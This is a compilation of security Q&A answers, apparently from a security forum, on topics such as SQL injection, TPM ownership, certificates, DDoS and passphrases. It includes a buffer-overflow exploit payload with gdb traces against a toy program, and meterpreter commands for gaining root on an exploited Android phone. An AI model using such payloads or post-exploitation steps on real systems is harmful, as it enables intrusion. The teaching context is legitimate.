Why is using SQL injection to extract passwords or password hashes from a login database (that should never legitimately disclose them) even possible?

There's a big gap between "does not require" and "implemented by the lowest bidder".

  why do we even use full-power database software and SQL queries

Because if you're already running a SQL database for your transactional data, implementing a second technology stack with appropriately trained development and support staff for a very specific function is very expensive.

Given they can't get one appliction stack right, how are they going to cope with two?

Admittedly the problem of SQL injection arises from APIs which don't separate code (SQL) from data (parameters) while there are other database systems (and SQL APIs) which do enforce this separation. But relational databases and SQL databases in particular, provide a huge amount of functionality which is simply not available in the other types of databases. It would be very difficult to write a shopping cart which uses LDAP for persistence.

IMHO the people responsible for developing this system are just as culpable as the hacker.


Authentication Certificates in Embedded System (Microcontroller)

When is this Certificate needed to be generated? During production in FW load on the IoT device?

Each individual device should generate its own certificate during initial setup, to prevent any other party from observing the private key.

  Can I generate using a specific application those certificates? Does it have to be done by a certified authority?

This first part depends on what your deployment target is, but since the most likely target is some form of Linux, you're looking at OpenSSL.  After the device generates its certificate, it wants to send what's known as a Certificate Signing Request (CSR) to your own issuing CA - this can be a completely self-signed chain (and not involve an external CA), but getting an intermediary issuing CA isn't difficult either (usually for things like subdomains).

  Once I´ve confirmed a IoT device is correctly signed by the CA and a secure channel is established, is there any additional need for this certificate?

You need the certificate every time you begin to authenticate/connect, after which (due to the way TLS works) it's exchanged for a symmetric key (that is, the certificate itself is no longer needed).  However, there's nothing to automatically "delete on connect" these certificates that I'm aware of, especially because you usually need them because of the very real likelyhood of service interruptions (which would require you to reconnect).

  In case the previous question is afirmative, is there a Expiry Date of these certificates? And would this imply in any costs?

Certificates have an expiry period.  Valid policy lengths depend on the issuer (whoever validates/signs the CSR), so if you're doing the issuing this can be whatever you want.  There would be no costs other than the extra processing time/bandwidth, plus access to the signing server.  Note that some microservice platforms do things like rotate certificates every week/day/hour.

You should also check the cloud platform for recommendation on IoT device setup, because this is going to be a really common topic.  For example, this topic in the Azure IoT documentation goes over at least some of this.


Enable X-XSS-Protection in an ASP.Net MVC Web app

If your Web app is an ASP.Net MVC application , it is very easy to enable using the web.config file.
All you need to do is add a Custom Header as in the following config entry.

<httpProtocol>
    <customHeaders>
        <remove name="X-Powered-By" />
        <add name="X-XSS-Protection" value="1; mode=block" />
   </customHeaders>
</httpProtocol>

It is always better if you can cconfigure the IIS Response header section as well.


Which method of an port forwarding is more secure?

If I clearly get your question. You have three option to do a P2P connection with remote party. 1) UPnP 2) Port forwarding 2) UDP hole punching. I think UDP hole punching will be secure one, but it is hard to establish P2P connection using UDP hole punching when one of the party behind Symmetric NAT.

UPnP: Generally this concept has some security issue. Administrative credential does not required during port allocation using UPnP protocol. So if you enable UPnP in your router/NAT device then there is high possibility to allocate port by malware programs and pass information from your computer to a remote point.

Port forwarding: This is old technique, if the forwarded port disclosed to some other third parties then there is high possibility to DoS attack.


Is allow_url_fopen always a security risk?

It is a security risk in the sense, that it is incredibly tricky to get right. A small mistake you may have no idea you made could compromise you. That being said, if you do actually get it correct, it should not be a security risk on its own.

I would compare it for example to Content Security Policy Header (CSP). If you don't make any mistake that would allow XSS attack, then CSP is not needed, but it is very hard to get right. So using CSP is very good to make sure and increases security a lot.


I think this is off-topic, but here is what you are looking for.
RootKit
A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or areas of its software that would not otherwise be allowed (for example, to an unauthorized user) while at the same time masking its existence or the existence of other software. - you might use it for keeping your access to a compromised system after exiting or logging out from that system by having a port set for giving you shell and access or whatsoever else again. Meanwhile once an attacker gains root privilege, it becomes a cakewalk|backdoor for him to exploit (used as verb) your system. BTW, there is a slight difference between RootKit and BackDoor.
Exploit
In computing, an exploit is an attack on a computer system, especially one that takes advantage of a particular vulnerability that the system offers to intruders. Used as a verb, the term refers to the act of successfully making such an attack.
Conclusion
It is easy to juxtapose terms which are somehow related to one another. It is best to learn the precise meaning of certain words. Although this is more work than not using those words correctly, doing so allows us to communicate to others more clearly.
RootKit: Software that hides itself on a system so it is not easy to detect. Often used as a way to maintain long term control or access to a system that the system user is unaware of. A rootkit may use exploits to either gain initial access or complete control of the system.
Exploit: An unpatched vulnerability in a system (in hardware, OS, or application code) that can be used by an attacker to gain access to, control of, or escalate privileges on that system.


Running netstat -b shows fields for current connections with info on:

Protocol: TCP or UDP, TCP is web traffic

Local Address: If it's 127.0.0.1, it's on your loopback interface (meaning how your computer talks to itself).  In this case, it looks like DESKTOP-D476NPG is your computer's name.  From the looks of it here, firefox plugins are using this and it appears legitimate.

When it's 10.100.170.103, it's your normal network interface.  The 10.x address indicates you have a local area network using the 10.x.x.x address space of RFC1918, and likely is running a DHCP server starting with an address of .100.  This indicates your computer is likely the third device on the network to connect to ethernet/wifi.

Foreign address: the remote server you're connecting to.  In this case, a lot of amazon servers, MSN, and other typical web traffic.

There is one connection going from 10.100.170.103 to 192.168.18.240, which indicates that you're likely on a LAN or a VPN connection with another local RFC1918 subnet.  This could also be the result of a misconfigured "double-NATing" setup where a local router has one IP range, and a wireless router has another.  In either case, the data shows this is from the Windows 10 update service attempting to serve peer-to-peer updates, as it's configured by default.

State:  Shows if the connection is established (meaning connected), or TIME_WAIT meaning has been finished.  SYN_RECEIVED means that the remote host has sent a TCP SYNchronize requesting a connection, but has not sent back the SYN-ACK acknowledging your host's ACKnowledgement of the connection request.

Consider other options

netstat -b is one basic way to see what connections your computer may be making, but is hard to read and depending on the interval may miss items.  A packet sniffer like WireShark, or better yet one attached to another network device like Snort or an intrusion detection system would be more effective.  Several AntiVirus vendors also sell a host-based intrusion detection system (HIDS) which constantly analyzes network traffic to determine if any is suspicious.


can an attacker exploit my main site from subdomain?

Now, before I find the exploit in the app I would like to have it back
  online

Now since you don't know what kind of "hack" it is.I am gonna go ahead and assume that it's a remote code execution,which means now the attacker can execute arbitrary code in the server.If that is the case then your server is compromised.The only way now is to start clean and plug the bug.

  Now, before I find the exploit in the app I would like to have it back
  online. Would placing it in a subdomain like app.example.com make any
  difference

Yes,If and only if the (application with the bug) points to a different machine then and only then is the attack separated from the main application which is now in a different machine

  Some IP is hitting the app registration form page with a GET, followed
  with a POST and then it gets redirected to the main site. I'm not a
  security expert but I'm pretty sure this is the cause for the server
  load I've mentioned and problems I've had

Now that you mention this.This seems more like a DOS or Searching a vuln of some kind.There are better solutions to prevent that like DOS Protection or even a Web application firewall along with it.

  I've checked the IP and it's responsible for 5000 attacks in the last
  days. If anyone is interested this is the IP 188.138.188.34.

Simply blacklist the I.P address and do the above things i mentioned.


Does not having https moot this entire site?

If attackers are doing a MitM to inject good answers in the stream, I certainly won't mind...

More seriously, StackExchange counts on most people being basically honest, and most attackers being basically people, i.e. lazy. It takes quite some effort and resources to maintain a working wide-scale Man-in-the-Middle attack so we can just assume that the overwhelming majority of connections to SE sites will not be tampered with. Not very reassuring, but the whole concept of Civilization builds on even flimsier foundations and we have learned to live with it (and, occasionally but not that rarely, to die for it).

From the SE managers point of view, this is a trade-off: what would they gain with site-wide SSL, and what would they lose ? Site-wide SSL increases CPU load, but not by much: according to Google, a mere +1% CPU and +2% network bandwidth. This was in the context of Gmail; an SE site has different usage patterns, and in particular serves a lot of "public and mostly static data" which could be cached (e.g. by transparent proxies installed by ISP). The biggest cost might be referencing: although search engines now index HTTPS content, it can be imagined that they handle it differently from what they do with HTTP content. Search Engine Optimization is the Life Force of free Web sites. To sump up, there seems to be some costs or risks (which are, economically, the same thing) to switching to full-site HTTPS.

On the other hand, what would SE gain from full-site HTTPS ? They don't guarantee anything about the veracity of the data, and it is public. What sense would it make to guarantee the confidentiality and integrity of the data in transit, while it was not confidential and not provably genuine to begin with ? And, even more importantly, would SE make more money out of it, to recoup the extra cost ? Remember that StackExchange is a private business. They are not Mother Theresa. They want to, one way or another, make money.

Thus, logically, SE managers will envision full-site HTTPS only when they believe that it will bring sufficiently extra readership. This seems dubious to me. I don't say that I don't want more SSL generally; but I cannot blame SE maintainers for choosing otherwise.


I think your confusion comes from not quite understanding exactly what comrpises a DDoS attack.

DDoS means Distributed Denial Of Service

Let's take off "Distributed" for now, and break down what this means.

Denial Of Service. Rendering something unusable is about the best way to say this in a generic, non-computer or technology specific way. That family of slow, ignorant people who walk side-by-side in the mall and block everyone? They are, essentially, a Denial of Service attack on their fellow mall dwellers. They make it hard or impossible to walk swiftly down the hallway in the mall.

If I write a script that constantly tries to brute force guess the login credentials to your SSH server, and it sends so much traffic that neither you nor anyone else can get a prompt from the server to try THEIR credentials, then I am denying you and them access to the SSH server, aka Denying access to the Service.

It has nothing implicitly to do with tcp/80. That's just a popular port to attack because Internetz.

A bunch of hippies standing, locked arms, around a government building, making it so someone can't easily cross their line and enter the building? That is also a denial of service.

However, these are all cases of denying OVERT or ACTIVE services. Consider the old-school Ping of Death. A ping packet that has no end (or at least, is bigger than the RFC spec), is a Denial of Service if your system is too old to know how to respond and thus crashes. Your system is down, and I have denied you the use of it. DOS.

If I throw so much traffic at your IP that your router/nic/modem can't reject or drop it fast enough, I am DOSing your system.

Now the ONLY difference with a DISTRIBUTED DOS is the source of the attack. Distributed implies multiple sources are attacking the same target(s) in a somewhat coordinated manner.

If you DOS me from your home IP, I call up The Internet Police (lol) and tell them to block your traffic upstream from me. Problem solved. With a DDoS, they have to block traffic from MANY sources. And an effective DDoS keeps changing sources.

Hope that helps!


Can someone get my home address if I click on a link to a IP logger?

First: almost every single site out there is an "IP logger". Every server logs at least this information:

IP address of the client
Browser type and version
Operating system
Which site they came from (the Referer)

So, not only does this site have your IP address, but each site you ever visited has your IP address in their own logs. A few, very few sites won't log any information, but they are a negligible minority.

But you don't need to be paranoid. The IP address alone is not enough to get your name, your home address and the kind of car you drive. It's possible to correlate information and get close to that, but it's not something you will have to be worried about, unless someone is being paid to track you specifically. It's expensive, takes a lot of work and time, and does not always work, so don't expect a full tracking mode to be started just for you because you clicked a link.

Concerning GDPR:

  6.1 Processing shall be lawful only if and to the extent that at least one of the following applies:
  f) processing is necessary for the purposes of the legitimate interests pursued by the controller or by a third party

I am not a lawyer, but in sysadmin circles, it seems that protecting your service or a third party from fraud or security violations are legitimate reasons to log an IP address, and thus are legal under GDPR.


Is it important to use a slow hash in htpasswd?

There are two main reasons why the passwords in a .htpasswd file need secure password hashing:

Though an attacker who can read the .htpasswd file can probably read the other files in the directory, the password may also allow for write access. There are a number of situations where an attacker can read private files but not write to them; for instance, when the attacker just found a discarded hard disk or backup tape in a dumpster. Similarly, passwords may have a lifetime longer than the data that they protect: an old .htpasswd could contain a password which is still valid now, to access data files which did not exist at all then.
Password hashing does not ultimately protect the data, but the password itself. Passwords are sensitive data in their own right, because:

Users reuse passwords. A password for a user on a given server may be also valid on other systems where the user has an account. I am personally enough of a maniac to generate different random passwords for all servers on which I have accounts, but I know that most people don't do things that way.
Users don't make random passwords. In particular, when forced to change their passwords (as is unfortunately mandated on a regular basis by poorly thought out policies), users rely on sequences: if their current password is Lilongwe37, then chances are that their next password will be Lilongwe38. There again, an old password, even after what looks like a "password reset", will be valuable to an attacker.

For these reasons, correct password hashing in .htpasswd files is important.


Purpose of TPM "ownership" and "owner password"

Simply, 'taking ownership' creates a new Storage Root Key.  The password insures the user doing the 'owning' is the same person again should person wish to perform options associated with the ownership password, in command line mode.  The password is referred to as the 'shared secret' in the TPM docs and is required in the syntax of the command, required if a vendor wishes to conform to the TPM specs, whether it necessary or not in their implementation of TPM.  In Win 7 acommand was, which allows control of bitlocker as well as TPM, which bitlocker depends on:

manage-bde -tpm [-turnon] [-takeownership !Owner Password!] [-computername ] [{-?|/?}] [{-help|-h}]

A problem with TPM implementations is while the standard exist, the implementation by vendors varies and even how the commands behave.  I can only speak from Windows experience, it began with making procedure calls like you are doing now around Win7, to fully automated in Win10 or using less error prone management consoles, like tpm.msc.  When a user is personally present to take ownership, Admin privilege is enough in Win 10 to execute TPM.msc and use the Win10 generated password, that is unknown to the user, as this password is coordinated by various Windows maintenance consoles.  If the user PC is part of a network, its assumed the system Admin is the only one allowed to manage the security features and setting TPM.  If a PC user alters their TPM as a local or even as a system Admin and has trouble later, they simply repeat the whole ownership process; given subsequent keys wrapped it will take a while for the process to complete.  So in toto, in Win10, Admin can perform the tasks needed for ownership without knowing the previous password used for ownership.


Buffer overflow exploit is leading to Segmentation Fault

This was a fun question to explore.

I tried the exploit and I got the same output. I just got a SegFault but was expecting "entered secret function" and a SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)

I opened up the program using gdb and tried to understand what is happening. I set a breakpoint at return_input.

$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt

Look at the following state:

[-------------------------------------code-------------------------------------]
   0x80484ca <return_input+38>: add    esp,0x10
   0x80484cd <return_input+41>: nop
   0x80484ce <return_input+42>: leave
=> 0x80484cf <return_input+43>: ret
   0x80484d0 <main>:    lea    ecx,[esp+0x4]
   0x80484d4 <main+4>:  and    esp,0xfffffff0
   0x80484d7 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x80484da <main+10>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>:   push   ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1
0012| 0xffffcc88 --> 0x0
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>:   add    esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0
0028| 0xffffcc98 --> 0x0
[------------------------------------------------------------------------------]

Notice that the next instruction to be executed is the ret instruction. The top of the stack has the address of secret. This is exactly what we wanted. So, no problems till here.

The following is the gdb-peda state just before the printf inside secret function is executed.

[-------------------------------------code-------------------------------------]
   0x804848e <secret+3>:    sub    esp,0x8
   0x8048491 <secret+6>:    sub    esp,0xc
   0x8048494 <secret+9>:    push   0x8048580
=> 0x8048499 <secret+14>:   call   0x8048340 <printf@plt>
   0x804849e <secret+19>:   add    esp,0x10
   0x80484a1 <secret+22>:   nop
   0x80484a2 <secret+23>:   leave
   0x80484a3 <secret+24>:   ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")

Now, printf will get executed. The top of stack has the Address of the string it has to print. All good till now.

I executed printf and checked for "entered secret function" output.

gdb-peda$ ni

Here is the problem. Even if printf got executed, the string didn't get printed on the console.

So, we can conclude that the exploitation was done properly.

Let us understand why printf didn't print that string to console output.

printf and many such output functions work in the following manner.

When printf is executed, the contents inside it is not directly printed out on the console. Instead, it is buffered in a buffer.

printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)

Later, the buffer is flushed and everything is printed out on the console.
As explained in this answer, the buffer gets flushed only when certain conditions are reached.

The buffer is flushed if it is full.
It is flushed if newline is encountered.
It is flushed if the program comes to an end.
It is flushed if we force flush it using the fflush function.

Coming back to the question at hand,

The printf("entered secret function") is executed and the string is put into the OUTPUT_BUFFER.
If the overflowtest terminated normally, the OUTPUT_BUFFER would have got flushed. But because of the exploit, it got terminated because of a SegFault. So, the buffer was not flushed. So, you didn't see "entered secret function" .

The puts function doesn't work like this. It appends a \n / newline character to the string. So, that string is immediately seen on the console.

So, if you want to see "entered secret function", then add a newline character to it - "entered secret function\n" or add a fflush(stdout) after printf.

I hope I has answered your question.

If anything is not clear, please leave a comment below.


What, or who, exactly is a Certificate Authority (CA) for TPM attestation?

I think you are certainly right, the verifier knows your TPM is trusted. In the DAA case the verifier cannot map TPM to user though.

In AIK certificate enrollment, the Certificate Authority may well be the same entity that verifies the AIK certificate.

Whereas in DAA, there is no Certificate Authority involved. There is an issuer which works with a TPM platform to create credentials. Your TPM platform later creates a AIK and signs this AIK with a DAA signature based on those credentials. This signature and the public key is made available to a verifier. The verifier cannot determine the owner of the TPM based on the information it receives but knows it's trusted. The issuer can be the same as the verifier. An application is some some subscription service where you want some privacy.

You can create your own CA certificate using openssl. web search is your friend.

the Trousers test suite tools can be used along with IBM's software TPM without a TPM hardware chip to try out attestation. I've used a real Infineon TPM using a beagleboard as the TPM and a Kontron with a custom X86_64 Yocto-built linux as my CA. I've also done DAA (I made a lot of fixes to my own copy of TrouSerS 0.3.10 code to get DAA to work) both with the hardware TPM and IBM software TPM. As for AIK certificates, testsuite has Tsp_TPM_CreateIdentity.c which creates an AIK and activates the AIK. Right after creating a AIK that is when you follow the guide in the link below to send out the identity proof to the CA. The identity proof contains the AIK that is created from Tspi_TPM_CollateIdentityRequest. Once the CA sends back the AIK certificate then you call Tsp_TPM_ActivateIdentity and keep the AIK certificate. The late Hal Finney ran a privacy CA but his web link has been inactive for a year and a half.

AIK certificate enrollment https://www.trustedcomputinggroup.org/files/resource_files/738DF0BB-1A4B-B294-D0AF6AF9CC023163/IWG_CMC_Profile_Cert_Enrollment_v1_r7.pdf


Do I really need an Anti-Virus software if I'm careful about where I browse?

As mentioned in some of the comments, there are no sites which can be guaranteed safe. Even reputable sites have suffered through banner ads, coding mistakes, deliberate attacks etc. so the first problem is that you cannot trust any website. You can work out a level of likelihood of safety by looking at the code from a sandbox and following links, but many attackers write code that hides from debugging tools or from testing environments, and code often changes attack vector with time.

So, to the next part - do you need an antivirus? Absolutely - a huge number of machines connected to the Internet are infected and running as part of botnets. If you don't protect your machine it may end up attacking mine. If you cannot detect malware on your machine I would blame your detection techniques, not think that your machine was clean.

From SANS, Expected infection time for an unprotected machine on the Internet is sub-5 minutes! (survivaltime is calculated as the average time between reports for an average target IP address ... aka someone pinging your computer would count as an "infection")

Sure, AV is only one layer of security (or potentially 2 if you use AV at gateway and desktop) but all layers have value. Any that you miss increases the likelihood of successful compromise.


For X.509 Certificates where is the actual digital signature?


What disadvantages running untrusted applications in anbox has over running them in a virtual machine?

If you intend to run malicious apps better keep using VMs
The main difference between virtualization and containerization is that, while a virtual machine is running a full independent Operating System on the guest, a container is run by the same Operating System kernel of the host but with a different userland (TL;DR: Programs and folders around it. On most desktop Linux distributions it's GNU).
This means that if you run a Debian container on a machine with Fedora, the Linux kernel on both is the same. Not the same version nor the same kernel executed in parallel, there is just one kernel running that pretends there are two OSs with different network and other hardware interfaces but, as Linux is monolithic, the drivers controlling them are the same, as they are all packed inside the kernel.
As Android is another Linux distribution (just not GNU) it can be run in a container on most desktop distributions. However, as there is no kernel isolation, if there happens to be a vulnerability in it (or in some paleolithic storage device driver that nobody cares about anymore) a malicious Android app could exploit it and gain control over the two machines (container and host) for the price of one.
On the other hand, virtual machine hypervisors (QEMU, Xen, KVM) are also made by human programmers and sometimes their virtual hardware controllers have bugs too. However, there's a lot fewer virtual than real devices to write drivers for (usually only one of each kind on each hypervisor, which makes the attack surface much smaller) and, on modern hardware, virtual machine isolation is backed by the chipset and CPU, which makes it really hard for virtualized OSs to even know what physical machine they are running on.
Containers make sense when performance is more important than security but a security layer is still wanted: for example, if all the installed apps are open source and one does not plan on getting into "risky behaviours" then it would be quite reasonable to use containers instead of VMs.
Last but not least, independently of whether containers or VMs are being used, the CPU on the physical machine should not be vulnerable to speculative execution exploits (or at least have it disabled on the BIOS settings, although it makes the computer much slower) and preferably use Error-Correcting Code memory (the one used in servers and workstations) in order to prevent Row hammer attacks.


How does advanced firewall scan data (check for signature etc) if it is encrypted?

For actually applying signatures to the decrypted traffic the firewall needs to have access to this traffic. The typical way to do this is by essentially doing a man in the middle attack, only that the "attacker" (the firewall) is considered trusted in this case. See Is it common practice for companies to MITM HTTPS traffic? for more.

Another way sometimes employed in firewalls/IDS protecting a specific server (like in web application firewalls) is to not make this server the TLS endpoint. Instead the firewall itself or some device in front of it is the TLS endpoint so that the firewall can see the plain traffic. A variation in this scenario is to provide the firewall the the private key of the servers certificate so that it can decrypt the traffic. But this works only if RSA key exchange is used while today DH key exchange is recommended.

And then there are attacks which can be detected without decrypting the traffic. These signatures for example rely on specifics of the TLS handshake like the kind and the order of ciphers and TLS extensions used or information about the certificate send by the server. Since the certificate is send in plain text in the TLS handshake one can determine the CA which signed it or if it was self-signed and similar by simply passively sniffing the traffic. See Deciphering Malware’s use of TLS (without
Decryption) for a nice paper about how one can detect malware communication this way.


After getting doxxed, how can one protect personally identifiable information?

Once your information is made public, you cannot make it private again. That is unfortunately one of the things the Internet gives us. You can make formal complaints to sites hosting the information, but assume it will be there, available in large stores of PII, for bad guys to do with as they will.

So all you can do is decide which of those things you need to change, eg by moving house, changing your name, job, mobile phone number etc.

Personally, the only ones I'd want to change if I was under a personal attack would be email and phone numbers. If the attack grew to be physical, I'd get the police involved and if necessary, move and change my name.


Trying to build an open authentication controled authorization website for multiple domain users

Automatic authentication does only work for manually configured proxies (eg, when a browser is set to use a proxy, it can be configured to do a automatic "windows authentication" to this proxy) for obvious security reasons - the reason is that else, any site in the whole world would be able to obtain valid hashed authentication credentials, which could be used in pass-the-hash attacks.

But there is a solution you could use:
Configure your AD server, to record the client IP of the computer in question, along with username/domain, when it has authenticated. And configure the AD server to delete this record of IP when a computer logs out.

Then, in the intranet site in question, you use the client IP to query the database that AD created, and check which username it is.

Of course, this wouldn't, as you say, give high security, but it would atleast give some security, while still having the convience of not having to login all the time.


AirVPN, DNS Leaks on Windows 8.1, but not Ubuntu

The problem may be windows 8 (and windows 10) using 'Smart Multi-Homed Name Resolution'. This basically sends queries to multiple DNS servers and returns the fastest result, so your network adapter's DNS may not have been used.

You can try using gpedit to disable this, avast have some instructions here

If this setting does not appear in gpedit (I have seen it missing!) you can manually change the registry to disable it.

Go to the key (create DNSClient if it does not exist):
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DNSClient

and create a DWORD DisableSmartNameResolution. Set it to 1, and then flush your DNS cache.

This is explained in more detail in the article here


Gaining root access on an Android phone exploited with MetaSploit

It sounds like this will fail to show root

meterpreter> check_root

With one of the following outcomes:

  [+] Device is rooted

  [-] Device is not rooted

If the second, probably best to try

meterpreter> shell

  Process 1 created.

  Channel 1 created.

id

  uid=10005(u0_a5) gid=10005(u0_a5) groups=1015(sdcard_rw),1028((sdcard_r),3003(inet)

su
id

  uid=0(root) gid=0(root)

See more here -- http://blog.itselectlab.com/?p=6931


Securely wipe external drive with Windows only

If I were you, I'd encrypt the whole thing, because it's really hard to securely erase an SSD. I don't remember the specifics of WHY at the moment, but there's another question on here that talks a bit about it. Anyway, the basic point is: if you can, encrypt the data. Just deleting it isn't necessarily secure.

EDIT: Just FYI, I'm not saying that a reformatting will be sufficient for an HDD either. It's just that SSD's pose their own set of challenges.


TLDR: No. Start reading and go for a OSCP or SANS 560.

If you are moving into pen-testing it would be best for you to have more than just a GCIH. If you already have your GCIH it means that you are at least above beginner. I recommend taking the follow steps.

1.http://overthewire.org/ | This site is great for practice in understanding all things that might be done at a high level. I recommend at least finishing all the bandit levels.

2.https://www.vulnhub.com/resources/ | This should be your home for a little while. read it love it.

Sign up for OSCP.

I would imagine that it should take at least 3 months before your ready to signup for OSCP and probably 1 or 2 months before you are able to pass.

Cheers, CND


How can I back up my iPhone without compromising my 2FA and master keys?

Yes, from your description it sounds like 1password does not use the most paranoid key storage (class) on iOS (for the master secret). A good overview of different modes can be found in the iOS Security Guide.

You have been looking for more security, that depends on the software vendor. If you want to ensure portability of the OTP secrets I typically use the manual (text vs. QR Code) secret import step and copy the text secrets to another offline store location (password safe) before sealing them (more or less reliable) into a mobile soft token. This totally depends on my ability to responsible protect those secrets, so it might not be the way to approach that for everybody. Giving those secrets to 1password might be however even more risky than having a offline backup.

But back to your question, the app has to declare sensitive information in the right way to keep it secure (or out of the backup), there is nothing much you can do yourself. (Setting a Backup password in iTunes and turning off iCloud Synchronisation is all you could change).


Validation of server identity via SSL certificate in during SSL connection handshake

When thinking of certificates, I like to compare them to a passport or driver's license. When you hand your ID to a police officer they will:

Check for validity: Inspect the ID to ensure that it appears authentic; matches what they expect your country's ID to look like, has no evidence of tampering, is not expired, etc.
Check that you are the card subject: Compare the photo against the person standing in front of them.

At this point they have "verified" your ID and can trust any additional information in it (ex.: Name, Date-of-birth, address, etc).

A TLS client validates a TLS server certificate in exactly the same two steps:

Check for validity: Ensure that the certificate cryptographically chains to a trusted root, is not expired or revoked.
Check that the server is the certificate subject: Do a "proof-of-posession" check (usually a digital signature) to ensure that the server has the private key matching the public key in the certificate.

At this point they have "verified" the certificate and can trust any additional information in it (ex.: the server host name in a DNS_Name SubjectAltName extension).

You say:

any specific identity of server is NOT being passed apart from the server url

The server has two pieces of identifying information:

Cryptographic public key, which is in the certificate, which you trust to be not tampered with if the certificate chains properly to the root cert.
The server URL.

So if both of those checks pass, then you know you are talking to the server with that domain name, as certified by the Root CA.

if a server is being authenticated just via a root cert, any other body (not ligitimate server) could present its cert and will be authenticated by my IoT device!

That is only true if your Root CA is issuing certificates for a given URL to people who do not actually own that URL. If that is the case, Stop using that CA, report them to the CA/Browser Forum, and find a more trustworthy CA to do business with!

Implementation notes:
Your crypto library does not know what URL you are trying to access, and therefore does not know if the DNS Name in the cert is expected or unexpected, but the application does!  If you are using a framework or tool with an HTTP request API, it will likely do this check for you, though sometimes if you are working directly with a TLS library, you will need to write the code for the hostname check yourself.
Also, "trusting the root CA" is how PKI works. It's the only scalable model for trusting a server that you've never interacted with before. But maybe it's not for you. If your IoT clients are only interacting with a small number of servers, and you know at manufacture time what those will be, then you could look into certificate or public key pinning where you provision devices with a local database of servers and the public key that you expect them to use.


Monitor traffic that is going through my router

You said you wanted to monitor the HTTP traffic. Not all network traffic (e.g., DNS, SSH, etc.). You didn't say whether it was passive or active monitoring. You haven't stated whether the systems being monitored are under your control or not. (I.e., can you make a configuration change on them?). If you only want all the HTTP/HTTPS traffic, and you have the ability to configure the devices a bit, then use a proxy. Set up Burp or WebScarab or Charles proxy on your laptop. Make sure it is listening on your regular network IP address (not just localhost, which is the default). Then, you need to get all the various devices to use your laptop as their HTTP proxy. Caveat: if your laptop is not there or if the proxy program is not running, the devices will not be able to use any HTTP/HTTPS services.

Now, to get devices routing their HTTP through your proxy, you have 2 choices: manually configure them or try to get your network to give out your proxy as information with the DHCP leases.

To manually configure a client, go into its settings and look for the proxy setting. Enter the IP address of your laptop and the port number that it is listening on. (e.g., 192.168.1.10:8080). All HTTP traffic from that device (if you do it at the OS level) or from that browser (if you only configure the web browser) will now route through your laptop.

Depending on how handy you are with your DHCP server, you can use information like this: https://blog.x-way.org/Networking/2012/12/30/Automatic-Proxy-Configuration-via-DHCP.html to cause networking clients to automatically receive the information telling them to use your proxy whenever they connect to the network.

This will give you full ability to not only monitor but to even tamper with the data passing out of whatever device uses your proxy. Remember that TLS connections will start issuing warnings (because your laptop is not truly the end system, and the certificate will be bogus). Some mobile apps (e.g., banking apps) may refuse to run because they can detect the man-in-the-middle.

If you're only interested in HTTP/HTTPS traffic, and you can configure the devices, then this is a pretty good way to do it.


Alternative to client certificate authentication with HTTP/2

We solved this by using Azure App Service IP restrictions.
This was only possible because we control all the clients.


It depends when you need to detect it, when it is happening or after the fact.

Live detection is much easier because you can hook system functions that are used to inject DLLs and log the information. When a process debugs itself, it will get notifications when DLLs are loaded. Or you can list DLLs periodically and see differences. There are many methods of injection and avoiding detection and detection is always behind.

Detecting injection and who did it after the fact is very difficult if not impossible for some methods. There isn't something as a log to store the details of what processes do. I'm sure some injection methods leave forensic artefacts behind, but for the most methods, you are lucky if you can detect traces of the injection itself, not to mention who did it.


How to perform taint analysis on Java source code?

You need a Java parser. Most exactly, a static Java code analyzer.

There is a lot from them, for example SonarQube.

It has already a lot of builtin rules, but also you can implement your own ones.

Its core follows the most common lexycal analyzer flow:

it constructs a tree structure from the syntactical elements
then walks this tree, and
you can attach hooks (the instance of your lexycal analyzer classes will be called upon) entering or leaving the nodes of this tree.


Basic Authentication with WebAPI and HTML/JS Client?

The data which is sent on the wire is not usually programmers' work and it doesn't happen in the program layer, it happens in the transferring time. You could enable SSL on the web server to send and receive encrypted data.


How dangerous are direct references to database keys?

The issue is not as much direct object references as it is insecure direct object references. For example, let's say you have a script that displays a private message, and that script takes an ID as a parameter. If you view the list for your user, you'll see links to the messages you have access to. But if you can change that ID in the parameter, and use that to view arbitrary other messages, then that constitutes an insecure direct object reference.

Some people feel that creating a mechanism that maps user-specific IDs across to objects is safer, because it inherently requires you to consider access control.

Hiding database keys isn't exactly required, but it does make life more difficult if an attacker is trying to reference internal IDs in an attack. Direct references to file names and other such internal identifiers can allow attackers to map the internal structure of the server, which might be useful in other attacks. This also invites path injection and directory traversal problems.


Does the length of each word of a passphrase matter?

No. If you're using multi-word (diceware-style) passphrases composed of actual words, the length of each word doesn't matter.

If you assume the attacker is aware of the method you used for generating your passwords (which you should, per Kerckhoffs's principle), then you can expect that the attacker will attempt to crack your passphrase with a dictionary attack and therefore the word length is irrelevant; only the number of words and the size of the dictionary you randomly selected them from matters.

If you assume the attacker isn't aware of your scheme and is just using brute force, then you can expect the attacker will take many orders of magnitude longer than they otherwise would using a dictionary attack, therefore since your password is designed to stand up to a dictionary attack it is also safe against brute force.

